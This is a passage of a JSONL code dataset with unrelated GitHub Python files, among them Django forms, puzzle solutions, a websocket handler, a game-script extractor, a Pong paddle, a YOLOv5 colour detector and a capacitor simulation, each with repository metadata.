re.sub(r'.*', __mrepl_no_inner_formula, matched.group(3).strip())\n\treturn global_method.add_quntifier_formula(matched.group(1), paras, formula)\n\n\ndef __logicSym_to_smtSym(formula):\n\tformula = formula.replace('!',' not ').replace('%',' mod ').replace('&',' and ').replace('|', ' or ')\n\treturn util.repeat_do_function(util.sub_lambda_exp, [(r'\\bFalse\\b','false'), (r'\\bTrue\\b','true')] ,formula)\n\n\ndef translate(formula, fluents, constants):\n\n\tformula = __logicSym_to_smtSym(formula)\n\tdef myFunc(e):\n \t\treturn len(e)\n\tfluents.sort(reverse=True, key=myFunc)\n\tfluent_sub = '|'.join([r\"(?:(\\b%s)\\(?([\\w,\\?\\s]*)\\)?)\"%fun for fun in fluents])\n\t#fluent_sub = fluent_sub.replace('_','\\_')\n\t#print fluents\n\tfluent_sub_pattern = re.compile(fluent_sub)\n\n\ttemp_formula = \"\"\n\twhile temp_formula!= formula:\n\t\ttemp_formula = formula\n\t\t#formula = fluent_sub_pattern.sub(__mrepl_fluent, formula)\n\t\t# print(\"fffffff\")\n\t\t#print(formula)\n\t\t# print(fluents)\n\t\t# print(constants)\n\t\t# print(fluent_sub)\n\t\t# print(fluent_sub_pattern.findall(formula))\n\t\tformula = util.repeat_replace_inner_with_pattern(fluent_sub_pattern, __mrepl_fluent, formula)\n\t\t#print \"repl_fluent---\",formula\n\t\t#formula = Util.repeat_replace_inner_with_pattern(most_inner_pattern, __mrepl_no_inner_formula, formula)\n\t\tformula = most_inner_pattern.sub(__mrepl_no_inner_formula, formula)\n\t\t#print \"inner_pattern---\",formula\n\t\tformula = util.repeat_replace_inner_with_pattern(quantifier_pattern, __mrepl_quntifier, formula)\n\t\t#formula = quantifier_pattern.sub(__mrepl_quntifier, formula)\n\tformula = re.sub(r'.*', __mrepl_no_inner_formula, formula)\n\tformula = formula.strip()\n\n\n\tglobal_dict = global_method.get_global_dict()\n\tformula = global_dict[formula]\n\tglobal_method.clear_global_dict()\n\n\tfrom . import check\n\n\tcondition = check.check_variables(formula, constants)\n\n\treturn condition.simplified().uniquify_variables(dict())\n\n\n\n\n\n\n\n","repo_name":"luokailun/PAAChecker","sub_path":"translate/translator.py","file_name":"translator.py","file_ext":"py","file_size_in_byte":5494,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"18583739552","text":"from django import forms\nfrom django.forms import ModelForm\nfrom django.contrib.auth import login,authenticate\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.models import User\nfrom .models import *\n\n\n\nclass RegisterForm(UserCreationForm):\n email = forms.EmailField()\n\n class Meta:\n model = User\n fields = ['username','email','password1', 'password2',]\n\nclass AddProjectForm(ModelForm):\n class Meta:\n model = Project\n fields = ['title','image','description','url']\n\nclass UpdateProfileForm(ModelForm):\n class Meta():\n model = Profile\n fields = ['profile_photo','bio','contact']\n\n\nclass RatingForm(forms.ModelForm):\n class Meta:\n model = Rating\n fields = ['design', 'usability', 'content']\n \n","repo_name":"Maltilda-Nyaboke/Rewardds","sub_path":"iReview/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2662541461","text":"#coding=utf8\n__author__ = '璐'\n\ndef check_connection(network, first, second):\n future = []\n visited = []\n future.append(first)\n while(future):\n node = future.pop()\n visited.append(node)\n for e in network:\n temp = \"\"\n if e.find(node) == 0: #说明node为起始\n temp = e[e.index(\"-\")+1:]\n elif e.find(node) > 0:\n temp = e[0:e.index(\"-\")]\n if temp != \"\":\n if temp not in visited:\n future.append(temp)\n if second in future:\n return True\n return False\n\ndef check_connection2(network, first, second):\n groups = set()\n for pair in network:\n p = set(pair.split(\"-\"))\n new = p #The group to be added to groups\n for g in groups.copy():\n if g & p: #If any of the two new friends have friends in an existing group\n new |= g\n groups.remove(g)\n groups.add(frozenset(new))\n return any(first in g and second in g for g in groups)\n\nif __name__ == '__main__':\n #These \"asserts\" using only for self-checking and not necessary for auto-testing\n assert check_connection(\n (\"dr101-mr99\", \"mr99-out00\", \"dr101-out00\", \"scout1-scout2\",\n \"scout3-scout1\", \"scout1-scout4\", \"scout4-sscout\", \"sscout-super\"),\n \"scout2\", \"scout3\") == True, \"Scout Brotherhood\"\n assert check_connection(\n (\"dr101-mr99\", \"mr99-out00\", \"dr101-out00\", \"scout1-scout2\",\n \"scout3-scout1\", \"scout1-scout4\", \"scout4-sscout\", \"sscout-super\"),\n \"super\", \"scout2\") == True, \"Super Scout\"\n assert check_connection(\n (\"dr101-mr99\", \"mr99-out00\", \"dr101-out00\", \"scout1-scout2\",\n \"scout3-scout1\", \"scout1-scout4\", \"scout4-sscout\", \"sscout-super\"),\n \"dr101\", \"sscout\") == False, \"I don't know any scouts.\"\n\n\n\n","repo_name":"AbnerZheng/checkio","sub_path":"home/find_friends.py","file_name":"find_friends.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"39431530071","text":"from collections import defaultdict, Counter\nfrom pprint import pprint\n\nwith open(\"input.txt\") as f:\n content = f.readlines()\n\ntemplate = content[0].strip()\nrules = {}\n\nfor rule in content[2::]:\n pair, insert = rule.strip().split(\"->\")\n rules[pair.strip()] = insert.strip()\n\npairs = defaultdict(int)\nfor i in range(len(template) - 1):\n pair = template[i:i + 2]\n pairs[pair] += 1\n\n\ndef step(pairs):\n new_pairs = defaultdict(int)\n for pair, cnt in pairs.items():\n insert = rules[pair]\n new_pairs[pair[0] + insert] += cnt\n new_pairs[insert + pair[1]] += cnt\n\n return new_pairs\n\n\nfor r in range(40):\n pairs = step(pairs)\n\ntotals = Counter()\nfor pair, cnt in pairs.items():\n totals[pair[0]] += cnt\n totals[pair[1]] += cnt\ntotals[template[0]] += 1\ntotals[template[-1]] += 1\ntotals = Counter({elem: cnt // 2 for elem, cnt in totals.items()})\nprint(totals)\nprint(totals.most_common())\nprint(totals.most_common()[0][1] - totals.most_common()[-1][1])\n","repo_name":"Kehvarl/AdventOfCode_2021","sub_path":"complete/14/pt2.py","file_name":"pt2.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19997320937","text":"\"\"\"Web socket module\"\"\"\n\nimport cherrypy\nfrom ws4py.websocket import WebSocket as WebSocketBase\nfrom types import GeneratorType\n\nfrom src.core.logging import Logger\nfrom src.core.tools import request_id\nfrom src.ws.helpers import *\n\n\nclass WebSocket:\n \"\"\"Web Socket root class\"\"\"\n\n @cherrypy.expose\n def queues(self, queue_name, mode='binary'):\n if queue_exists(queue_name):\n cherrypy.request.ws_handler.set(queue_name, mode)\n handler = cherrypy.request.ws_handler\n else:\n cherrypy.response.status = 404\n return \"Queue '%s' not found\" % queue_name\n\n @staticmethod\n def config():\n return {\n '/queues': {\n 'tools.websocket.on': True,\n 'tools.websocket.handler_cls': QueuesWebSocketHandler\n }\n }\n\n\nclass QueuesWebSocketHandler(WebSocketBase):\n \"\"\"Queues web socket handler\"\"\"\n\n def __init__(self, sock, protocols=None, extensions=None, environ=None, heartbeat_freq=None):\n super().__init__(sock, protocols, extensions, environ, heartbeat_freq)\n self._conn_id = request_id()\n self._logger = Logger(\"QueuesWSHandler %s\" % self._conn_id)\n self._mode = None\n self._channel = None\n self._request_handler = None\n\n def set(self, queue_name, mode):\n if mode not in MODES:\n err_msg = \"Invalid QueuesWebSocketHandler mode=%s\" % mode\n self._logger.error(err_msg)\n raise Exception(err_msg)\n\n self._mode = mode\n self._channel = \"queue-%s-put\" % queue_name\n self._request_handler = QueuesRequestHandler(self._mode, queue_name)\n\n self._logger.debug(\"Queue '%s' in '%s' mode\" % (queue_name, mode))\n\n def opened(self):\n ip = self.peer_address[0]\n port = self.peer_address[1]\n cherrypy.engine.subscribe(self._channel, self._msg_added_subscription)\n self._logger.info(\"Connection from %s:%d\" % (ip, port))\n\n def closed(self, code, reason=None):\n cherrypy.engine.unsubscribe(self._channel, self._msg_added_subscription)\n self._logger.info(\"Connection closed\")\n\n def send_msg(self, message_or_list):\n if isinstance(message_or_list, WsMessage):\n self.send(message_or_list.get_data(), self._mode == MODE_BINARY)\n self._logger.debug(\"Sent '%s' message: %s\" % (ALL[message_or_list.header], message_or_list))\n elif isinstance(message_or_list, list) or isinstance(message_or_list, GeneratorType):\n for bin_msg in message_or_list:\n self.send_msg(bin_msg)\n else:\n raise Exception(\"Invalid data type to send (%s)\" % type(message_or_list))\n\n def received_message(self, message):\n try:\n request = WsMessageFactory.create_from_message(self._mode, message)\n if request.header not in ALL:\n err_msg = \"Unknown message %s\" % request.header\n self._logger.warning(err_msg)\n self.send_msg(WsMessageFactory.create(self._mode, ERROR, err_msg, self._conn_id))\n else:\n self._logger.debug(\"Received message %s from '%s': %s\"\n % (ALL[request.header], request.application, request.body))\n\n response = self._request_handler.get_response(request)\n if response:\n self.send_msg(response)\n except Exception as ex:\n self._logger.error(ex)\n err_msg = WsMessageFactory.create(self._mode, ERROR, \"%s\" % ex, self._conn_id)\n self.send_msg(err_msg)\n\n def _msg_added_subscription(self):\n if not self._request_handler.last_msg:\n self.send_msg(self._request_handler.get())\n\n\n","repo_name":"meeron/norimq","sub_path":"src/ws/wsroot.py","file_name":"wsroot.py","file_ext":"py","file_size_in_byte":3734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26536910064","text":"#########################################################################\n# Forms script text files from script data files #\n#########################################################################\n\n\nimport os\nfrom pathlib import Path\n\nimport dataConversion\n\nnewlines = [\"{NL}\"]\nendcodes = [\"{END}\",\"{F-END}\"]\n\n\nsystemMenuLocation = 0x12b4\nsystemMenuLength = 0x1295\nsystemMenuEnd = 0x2549\n\ngameMenu1Location = 0x25BB0\ngameMenu1End = 0x2D67E\n\ngameMenu2Location = 0x2D684\ngameMenu2End = 0x2DB00\n\ngameMenu3Location = 0xEB24\ngameMenu3End = 0xF105\n\neventFolder = \"EXTRACT - ORIGINAL/EVENT.BIN\"\nsystemFolder = \"EXTRACT - ORIGINAL/SYSTEM.BIN\"\neventOutputFolder = \"SCRIPT - Original Japanese/EVENT.BIN\"\nsystemMenuOutputFolder = \"SCRIPT - Original Japanese/SYSTEM.BIN\"\n\n\ndef unpackEvent():\n if not os.path.exists(eventOutputFolder):\n os.makedirs(eventOutputFolder)\n\n for fileName in os.listdir(eventFolder):\n inputFile = open(eventFolder + \"/\" + fileName, \"rb\")\n\n\n #First 4 bytes are offset to control block\n controlBlockStart = dataConversion.toInt(inputFile.read(4))\n #Second 4 bytes are offset to end of control block\n controlBlockEnd = dataConversion.toInt(inputFile.read(4))\n #Third 4 bytes are offset to start of text block\n textBlockStart = dataConversion.toInt(inputFile.read(4))\n #Fourth 4 bytes are unused\n buffer = dataConversion.toInt(inputFile.read(4))\n\n scriptFileCheck = buffer != 0 or controlBlockEnd <= controlBlockStart or (textBlockStart != 0 and textBlockStart != 0xFFFFFFFF)\n\n #skip file if not a script\n if scriptFileCheck:\n continue\n\n if textBlockStart == 0xFFFFFFFF:\n print(\"Empty File at \" + fileName)\n\n print(\"Extracting Scriptfile: \" + fileName)\n\n outputFile = open(eventOutputFolder + \"/\" + fileName + \".txt\", \"w\", encoding=\"utf-8\")\n\n text = inputFile.read(controlBlockStart)\n\n convertedText = dataConversion.hexToText(text.hex())\n\n outputBuffer = \"//Source: \" + fileName + \"\\n\" + \"<<>>\" + \"\\n\"\n\n lineNumber = 2\n convertedText = convertedText.replace(\"{NL}\", \"\\n\")\n convertedText = convertedText.replace(\"{END}\", \"{END}\\n\\n\" + \"<<>>\" + \"\\n\")\n convertedText = convertedText.replace(\"{F-END}\", \"{F-END}\\n\\n\" + \"<<>>\" + \"\\n\")\n\n lines = convertedText.count(\"{END}\") + convertedText.count(\"{F-END}\")\n\n while lineNumber <= lines + 1:\n convertedText = convertedText.replace(\"<<>>\", \"<<>>----------------]\",1)\n lineNumber+=1\n\n\n outputFile.write(outputBuffer + convertedText)\n outputFile.close()\n inputFile.close()\n\ndef unpackSystemMenu():\n if not os.path.exists(systemMenuOutputFolder):\n os.makedirs(systemMenuOutputFolder)\n\n fileName = \"SYSTEM.BIN.0008\"\n\n inputFile = open(systemFolder + \"/\" + fileName, \"rb\")\n\n\n print(\"Extracting: \" + fileName)\n\n outputFile = open(systemMenuOutputFolder + \"/\" + fileName + \".txt\", \"w\", encoding=\"utf-8\")\n\n inputFile.read(systemMenuLocation)\n text = inputFile.read(systemMenuLength)\n\n convertedText = dataConversion.hexToText(text.hex())\n\n outputBuffer = \"//Source: \" + fileName + \"\\n\" + \"<<>>\" + \"\\n\"\n\n lineNumber = 2\n convertedText = convertedText.replace(\"{NL}\", \"\\n\")\n convertedText = convertedText.replace(\"{END}\", \"{END}\\n\\n\" + \"<<>>\" + \"\\n\")\n convertedText = convertedText.replace(\"{F-END}\", \"{F-END}\\n\\n\" + \"<<>>\" + \"\\n\")\n\n lines = convertedText.count(\"{END}\") + convertedText.count(\"{F-END}\")\n\n while lineNumber <= lines + 1:\n convertedText = convertedText.replace(\"<<>>\", \"<<>>\",1)\n lineNumber+=1\n\n\n outputFile.write(outputBuffer + convertedText)\n outputFile.close()\n inputFile.close() \n\ndef unpackGameMenu(fileName, location, end):\n if not os.path.exists(systemMenuOutputFolder):\n os.makedirs(systemMenuOutputFolder)\n\n \n\n inputFile = open(systemFolder + \"/\" + fileName, \"rb\")\n\n\n print(\"Extracting: \" + fileName)\n\n outputFile = open(systemMenuOutputFolder + \"/\" + fileName + \".\" + str(location) + \".txt\", \"w\", encoding=\"utf-8\")\n\n inputFile.read(location)\n text = inputFile.read(end - location)\n\n convertedText = dataConversion.hexToText(text.hex())\n\n outputBuffer = \"//Source: \" + fileName + \"\\n\" + \"<<>>\" + \"\\n\"\n\n lineNumber = 2\n convertedText = convertedText.replace(\"{NL}\", \"\\n\")\n convertedText = convertedText.replace(\"{END}\", \"{END}\\n\\n\" + \"<<>>\" + \"\\n\")\n convertedText = convertedText.replace(\"{F-END}\", \"{F-END}\\n\\n\" + \"<<>>\" + \"\\n\")\n\n lines = convertedText.count(\"{END}\") + convertedText.count(\"{F-END}\")\n\n while lineNumber <= lines + 1:\n convertedText = convertedText.replace(\"<<>>\", \"<<>>\",1)\n lineNumber+=1\n\n\n outputFile.write(outputBuffer + convertedText)\n outputFile.close()\n inputFile.close() \n \n\nunpackGameMenu(\"SYSTEM.BIN.0024.uncompressed\", gameMenu1Location, gameMenu1End)\nunpackGameMenu(\"SYSTEM.BIN.0024.uncompressed\", gameMenu2Location, gameMenu2End)\nunpackGameMenu(\"SYSTEM.BIN.0007\", gameMenu3Location, gameMenu3End)\nunpackSystemMenu()\nunpackEvent()","repo_name":"HilltopWorks/HilltopTranslationScripts","sub_path":"Racing Lagoon/unpackScript.py","file_name":"unpackScript.py","file_ext":"py","file_size_in_byte":5443,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"37"} +{"seq_id":"2812463070","text":"from skimage.feature import hog\nfrom skimage import data, exposure\nimport matplotlib.pyplot as plt\nfrom time import time\nimport cv2\n\nimage = data.astronaut()\nimage = cv2.imread(\"./00003.jpg\") \nt0 = time()\nfd, hog_img = hog(image, orientations=8, pixels_per_cell=(16,16), \n cells_per_block=(1,1), visualize=True, multichannel=True)\n#cells_per_block 越少性能越好,因為加強了運算\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(8,4), sharex=True, sharey=True)\n\nax1.axis(\"off\")\nax1.imshow(image, cmap=plt.cm.gray)\nax1.set_title(\"input_title\")\n\nrescaled = exposure.rescale_intensity(hog_img, in_range=(0, 10))\n\nax2.axis(\"off\")\nax2.imshow(rescaled, cmap=plt.cm.gray)\nax2.set_title(\"histogram of Oriented Gradients\")\nplt.show()\nprint(\"done in %0.3fs\" % (time() - t0))\n \n\n","repo_name":"TheRiseOfDavid/NTUTcs_media","sub_path":"hw05/david/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27125904325","text":"#unit1\r\n#print()function ()paraenthesis string-collection of character inside \"double quotes\" or 'single quotes' we can use 'single quotes'inside\"double quotes\" or \"double quotes\" inside'single'\r\nprint(\"Hello antra !!\")\r\nprint('hello!!')\r\nprint(\"hello 'Antra' gupta\")\r\nprint('hello \"Antra\" gupta')\r\nprint(\"i'm Antra\")\r\n#escape sequences \r\n#\\' single quotes\r\n#\\\" double quotes\r\n#\\\\ backslash\r\n#\\n new line\r\n#\\t tab\r\n#\\b backspace\r\nprint(\"hello \\\"antra\\\" gupta\")\r\nprint('I\\'m antra')\r\nprint(\"line A\\nline B\")\r\nprint(\"name \\t antra\")\r\nprint(\"this is antra\\\\\\\\\")\r\nprint(\"antra\\baa\")\r\n#normal; text\r\nprint(\"line a \\\\n line b\")\r\n#\\' ~ ' (b) \\\\ ~ \\(a) equal to \\\\\\' - \\'\r\n \r\n\r\n\r\n#exercise1\r\nprint(\"this is \\\\\\\\ double backslash\")\r\nprint(\"these are /\\/\\/\\/\\/\\ mountains\")\r\nprint(\"he is\\t awesome\")\r\nprint(\"\\\\\\\" \\\\n \\\\t \\\\\\' \")\r\n\r\nprint(\"line A \\\\n line B\")\r\n\r\n# extra thing https://unicode.org/emoji/charts/full-emoji-list.html\r\n\r\nprint(\"\\U0001F603\")\r\nprint(\"\\U0001F601\"\t)\r\nprint(\"\\U0001FAE0\")\r\n\r\n#variable.py\r\n\r\nnumber1=4\r\nprint(number1)\r\nnumber1= 7\r\nprint(number1)\r\n\r\nname = 'antra'\r\nprint(name)\r\n\r\n#rule 1 not doing\r\n#1number = 4 not doing\r\n#instead we start ,letter.....first letterI\r\n_name = \"Antra\"\r\na1ntra = 18\r\nprint(a1ntra)\r\n\r\n#snake case writing used in python\r\nuser_one_name = \"Antra\"\r\nprint(user_one_name)\r\n\r\n#camel case writing but mostly it is used in java\r\nuserOneName = \"Antra\"\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#unit2\r\n#if condition ##if condition is true then statement will execute\r\n\r\nage = input(\"enter your age:\")\r\nage = int(age)\r\nif age >= 14:\r\n print(\"you are above 14\")\r\n\r\n#pass statement we didn't do this thing without writing code but for info only \r\nx = 18\r\nif x >18:\r\n pass\r\n\r\n\r\n#if-else statement\r\n\r\n\r\n\r\nage = input(\"enter your age:\")\r\nage = int(age)\r\nif age >= 14:\r\n print(\"you are above 14\")\r\nelse:\r\n print(\"sorry ,you can't play ; you are below age 14\")\r\n\r\n\r\n#exercise2\r\nwinning_number = 4\r\nuser_input = input(\"guess a number btw 1 and 100:\")\r\nuser_input = int(user_input)\r\nif user_input == winning_number:\r\n print(\"You Win!!!\")\r\nelse:\r\n if user_input < winning_number:\r\n print(\"too low\")\r\n else:\r\n print(\"too high\")\r\n\r\n#and,or operator at same time\r\nname = 'antra'\r\nage = 18\r\nif name == 'antra' and age == 18:\r\n print(\"true\")\r\nelse:\r\n print(\"false\")\r\n\r\n#any one condition true its shows true\r\n name = 'antra'\r\nage = 18\r\nif name == 'antra' or age == 18:\r\n print(\"true\")\r\nelse:\r\n print(\"false\")\r\n\r\n#exercise3\r\nuser_name = input(\"enter your name : \")\r\nuser_age = input(\"enter your age : \")\r\nuser_age = int(user_age)\r\nif user_age >= 10 and (user_name[0]=='a' or user_name[0] == 'A'):\r\n print(\"you can watch coco\")\r\nelse:\r\n print(\"you can't watch coco\")\r\n\r\n #if elif else\r\n\r\n##show ticket pricing 1 to 3 free 4 to 10 50 10 to 60 100 60 to 80 150\r\nage = input(\"please enter your age :\")\r\nage = int(age)\r\nif age==0:\r\n print(\"you cannot watch\")\r\n\r\nelif 0 1.0:\n self.position = 1.0\n self.velocity = 0\n \n self.realY = numpy.round(self.position * (self.windowSize[1] - self.realH)).astype(numpy.int16)\n\nclass PlayerPaddle(Paddle):\n '''\n\n '''\n\n def __init__(self, box: Box, windowSize: numpy.ndarray):\n Paddle.__init__(self, box, windowSize)\n\n def _onEvent(self, event: Event):\n\n if event.keyName == \"UP\" and self.realY > 0:\n self.velocity -= .3\n if event.keyName == \"DOWN\" and self.realY + self.realH < self.windowSize[1] - 1:\n self.velocity += .3\n\nclass EnemyPaddle(Paddle):\n '''\n\n '''\n\n def __init__(self, box: Box, windowSize: numpy.ndarray):\n Paddle.__init__(self, box, windowSize)","repo_name":"flywinged/Pong","sub_path":"objects/paddle.py","file_name":"paddle.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70083777708","text":"import sys\n\ninput = sys.stdin.readline\n\nwhile True:\n M, A, B = list(map(int, input().split()))\n\n if M == A == B == 0:\n break\n\n tA, tB = M / A * 3600, M / B * 3600\n\n tGap = abs(tA - tB)\n\n print(str(int(tGap / 3600)) + \":\" + \"{0:02d}\".format(int(tGap % 3600 / 60)) + \":\" + \"{0:02d}\".format(\n round(tGap % 60)))\n","repo_name":"jeongth9446/problem-solving","sub_path":"acmicpc/python/9493_길면 기차, 기차는 빨라, 빠른 것은 비행기.py","file_name":"9493_길면 기차, 기차는 빨라, 빠른 것은 비행기.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"29145475690","text":"from abc import ABC, abstractmethod\nimport numpy as np\n\nclass Model(ABC):\n \"\"\"\n A Model object is a function mapping states R^N and inputs R^N to states R^N.\n A model object is responsible for maintaining its own state variables.\n All Model objects must implement a Model.forward() method.\n This function is responsible for the mapping described above.\n See the forward method for more information.\n \"\"\"\n\n def __init__(self,\n act_dim,\n obs_dim,\n initial_state=None,\n sigma=1,\n seed=0):\n \"\"\"\n bottom text\n \"\"\"\n np.random.seed(seed)\n self.act_dim = act_dim\n self.obs_dim = obs_dim\n self.sigma = sigma\n self._state = np.random.random(self.obs_dim) if initial_state is None else initial_state\n\n @abstractmethod\n def forward(self, input=None, state=None):\n \"\"\"\n This method implements the forward dynamics of the system.\n \"\"\"\n pass\n\n def state(self):\n return self._state\n\nclass SampleModel(Model):\n \"\"\"\n A simple model that implements a noisy linear relationship.\n \"\"\"\n\n def forward(self, input=None, state=None):\n m = 3\n\n if state is None:\n state_0 = self._state\n else:\n state_0 = state\n\n state_1 = state_0 * m\n state_1 = state_1 + np.random.normal(0, self.sigma, self.obs_dim)\n\n if state is None:\n self._state = state_1\n return state_0, state_1\n\nclass Complex1DModel(Model):\n \"\"\"\n A complex model with non-linear relationships\n \"\"\"\n\n def forward(self, input=None, state=None):\n if state is None:\n state_0 = self._state\n else:\n state_0 = state\n\n state_1 = 5 * state_0 ** 3 - 3 * state_0 ** 2 + state_0 + 20\n state_1 = state_1 + np.random.normal(0, self.sigma, self.obs_dim)\n\n if state is None:\n self._state = state_1\n return state_0, state_1\n\ndef MSE_loss(x, y):\n return np.mean((x - y).T @ (x - y))\n\nclass Motion2DModel(Model):\n A = np.array([[1, .037, 0, 0],\n [0, .63, 0, 0],\n [0, 0, 1, .037],\n [0, 0, 0, .63]])\n\n b = np.array([[0, 0],\n [.24, 0],\n [0, 0],\n [0, .24]])\n\n def forward(self, input=None, state=None):\n if state is None:\n state_0 = self._state\n else:\n state_0 = state\n\n if input is None:\n input = np.zeros(self.act_dim)\n\n state_1 = self.A @ state_0\n state_1 = state_1 + (self.b @ input)\n state_1 = state_1 + np.random.normal(0, self.sigma, self.obs_dim)\n\n if state is None:\n self._state = state_1\n return state_0, state_1\n","repo_name":"johnrso/edx-unit1-asst","sub_path":"helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":2830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28462756382","text":"import cv2\r\n#import numpy as np\r\nimport torch\r\n\r\n# Inicializar el modelo de detección de figuras\r\nmodel_figuras = torch.hub.load('ultralytics/yolov5', 'custom',\r\n path=r'model\\detectorFiguras.pt')\r\n\r\n# Inicializar la cámara\r\ncap = cv2.VideoCapture(0)\r\n\r\n# Definir los rangos de colores\r\nazulBajo = 100\r\nazulAlto = 113\r\n\r\namarilloBajo = 25\r\namarilloAlto = 38\r\n\r\nnaranjaBajo = 14#9\r\nnaranjaAlto = 24#12\r\n\r\nrojoBajo = 0\r\nrojoAlto = 8\r\n\r\nmoradoBajo = 114\r\nmoradoAlto = 170\r\n\r\nverdeBajo = 39\r\nverdeAlto = 85\r\n\r\ncafeBajo = 9#11\r\ncafeAlto = 13#24\r\n\r\ndef obtener_color(hsv):\r\n if azulBajo <= hsv[0] <= azulAlto:\r\n return \"Azul\"\r\n elif amarilloBajo <= hsv[0] <= amarilloAlto:\r\n return \"Amarillo\"\r\n elif naranjaBajo <= hsv[0] <= naranjaAlto:\r\n return \"Naranja\"\r\n elif rojoBajo <= hsv[0] <= rojoAlto:\r\n return \"Rojo\"\r\n elif moradoBajo <= hsv[0] <= moradoAlto:\r\n return \"Morado\"\r\n elif verdeBajo <= hsv[0] <= verdeAlto:\r\n return \"Verde\"\r\n elif cafeBajo <= hsv[0] <= cafeAlto:\r\n return \"Cafe\"\r\n else:\r\n return \"Desconocido\"\r\n\r\n# Ciclo infinito de video\r\nwhile True:\r\n # Lectura de la cámara\r\n ret, frame = cap.read()\r\n\r\n if ret:\r\n # Aplicar un filtro de mediana al cuadro para suavizar la imagen\r\n #frame = cv2.medianBlur(frame, 5)\r\n\r\n # Detección de figuras\r\n detect_figuras = model_figuras(frame) # Usa el modelo para detectar figuras en el cuadro completo\r\n\r\n for det in detect_figuras.pred[0]:\r\n forma = det[5]\r\n x1, y1, x2, y2 = map(int, det[:4])\r\n\r\n roi_color = frame[y1:y2, x1:x2]\r\n fHSV = cv2.cvtColor(roi_color, cv2.COLOR_BGR2HSV)\r\n\r\n # Crear máscaras específicas para cada rango de color\r\n mask_azul = cv2.inRange(fHSV, (azulBajo, 100, 100), (azulAlto, 255, 255))\r\n mask_amarillo = cv2.inRange(fHSV, (amarilloBajo, 100, 100), (azulAlto, 255, 255))\r\n mask_naranja = cv2.inRange(fHSV, (naranjaBajo, 100, 100), (azulAlto, 255, 255))\r\n mask_rojo = cv2.inRange(fHSV, (rojoBajo, 100, 100), (azulAlto, 255, 255))\r\n mask_morado = cv2.inRange(fHSV, (moradoBajo, 100, 100), (azulAlto, 255, 255))\r\n mask_verde = cv2.inRange(fHSV, (verdeBajo, 100, 100), (azulAlto, 255, 255))\r\n mask_cafe = cv2.inRange(fHSV, (cafeBajo, 100, 100), (azulAlto, 255, 255))\r\n\r\n # Aplicar las máscaras a la imagen\r\n mask = mask_azul + mask_amarillo + mask_naranja + mask_rojo + mask_morado + mask_verde + mask_cafe\r\n\r\n # Encuentra los contornos de los objetos\r\n contours, _ = cv2.findContours(mask, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\r\n\r\n for contour in contours:\r\n area = cv2.contourArea(contour)\r\n if area > 500: # Filtro para evitar ruido\r\n x, y, w, h = cv2.boundingRect(contour)\r\n rectangulo_color = (0, 255, 0) # Color del rectángulo\r\n nombre_color = obtener_color(fHSV[y + h // 2, x + w // 2])\r\n cv2.rectangle(roi_color, (x, y), (x + w, y + h), rectangulo_color, 2)\r\n cv2.putText(roi_color, f\"C: {nombre_color} F: {forma}\", (x, y - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.5, rectangulo_color, 2)\r\n #cv2.putText(roi_color, f\"Forma: {forma}\", (x, y - 30), cv2.FONT_HERSHEY_SIMPLEX, 0.5, rectangulo_color, 2)\r\n print(\"Forma: \" + str(forma) + \" Color: \"+ nombre_color)\r\n # Mostrar el cuadro completo\r\n cv2.imshow('frame', frame)\r\n\r\n #Cerrar ventana\r\n if cv2.waitKey(1) & 0xFF == ord('q'):\r\n break\r\n\r\ncap.release()\r\ncv2.destroyAllWindows()\r\n","repo_name":"nayvilla/conveyor","sub_path":"video/DetectorFormaColor.py","file_name":"DetectorFormaColor.py","file_ext":"py","file_size_in_byte":3750,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6300879436","text":"# Import necessary modules\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n# Prompt the user for the initial charge and capacitance of the capacitor\r\ncharge = float(input(\"Enter the initial charge of the capacitor (C): \"))\r\ncapacitance = float(input(\"Enter the capacitance of the capacitor (F): \"))\r\n\r\n# Set the time step and total simulation time\r\ndt = 0.01\r\ntotal_time = 10\r\n\r\n# Prompt the user for the resistance and the applied voltage\r\nresistance = float(input(\"Enter the resistance of the circuit (Ohms): \"))\r\nvoltage = float(input(\"Enter the applied voltage (V): \"))\r\n\r\n# Create arrays to store the charge and time value\r\ncharges = []\r\ntimes = []\r\n\r\n# Simulate the charging and discharging of the capacitor\r\nfor time in np.arange(0, total_time, dt):\r\n # Calculate the current flowing through the capacitor\r\n current = (voltage - (charge / capacitance)) / resistance\r\n\r\n # Calculate the change in charge of the capacitor\r\n dq = current * dt\r\n\r\n # Update the charge of the capacitor\r\n charge += dq\r\n\r\n # Store the current charge and time\r\n charges.append(charge)\r\n times.append(time)\r\n\r\n# Plot the charging and discharging curves\r\nplt.plot(times, charges)\r\nplt.xlabel(\"Time (s)\")\r\nplt.ylabel(\"Charge (C)\")\r\nplt.show()\r\n","repo_name":"mendax0110/python","sub_path":"Electrical 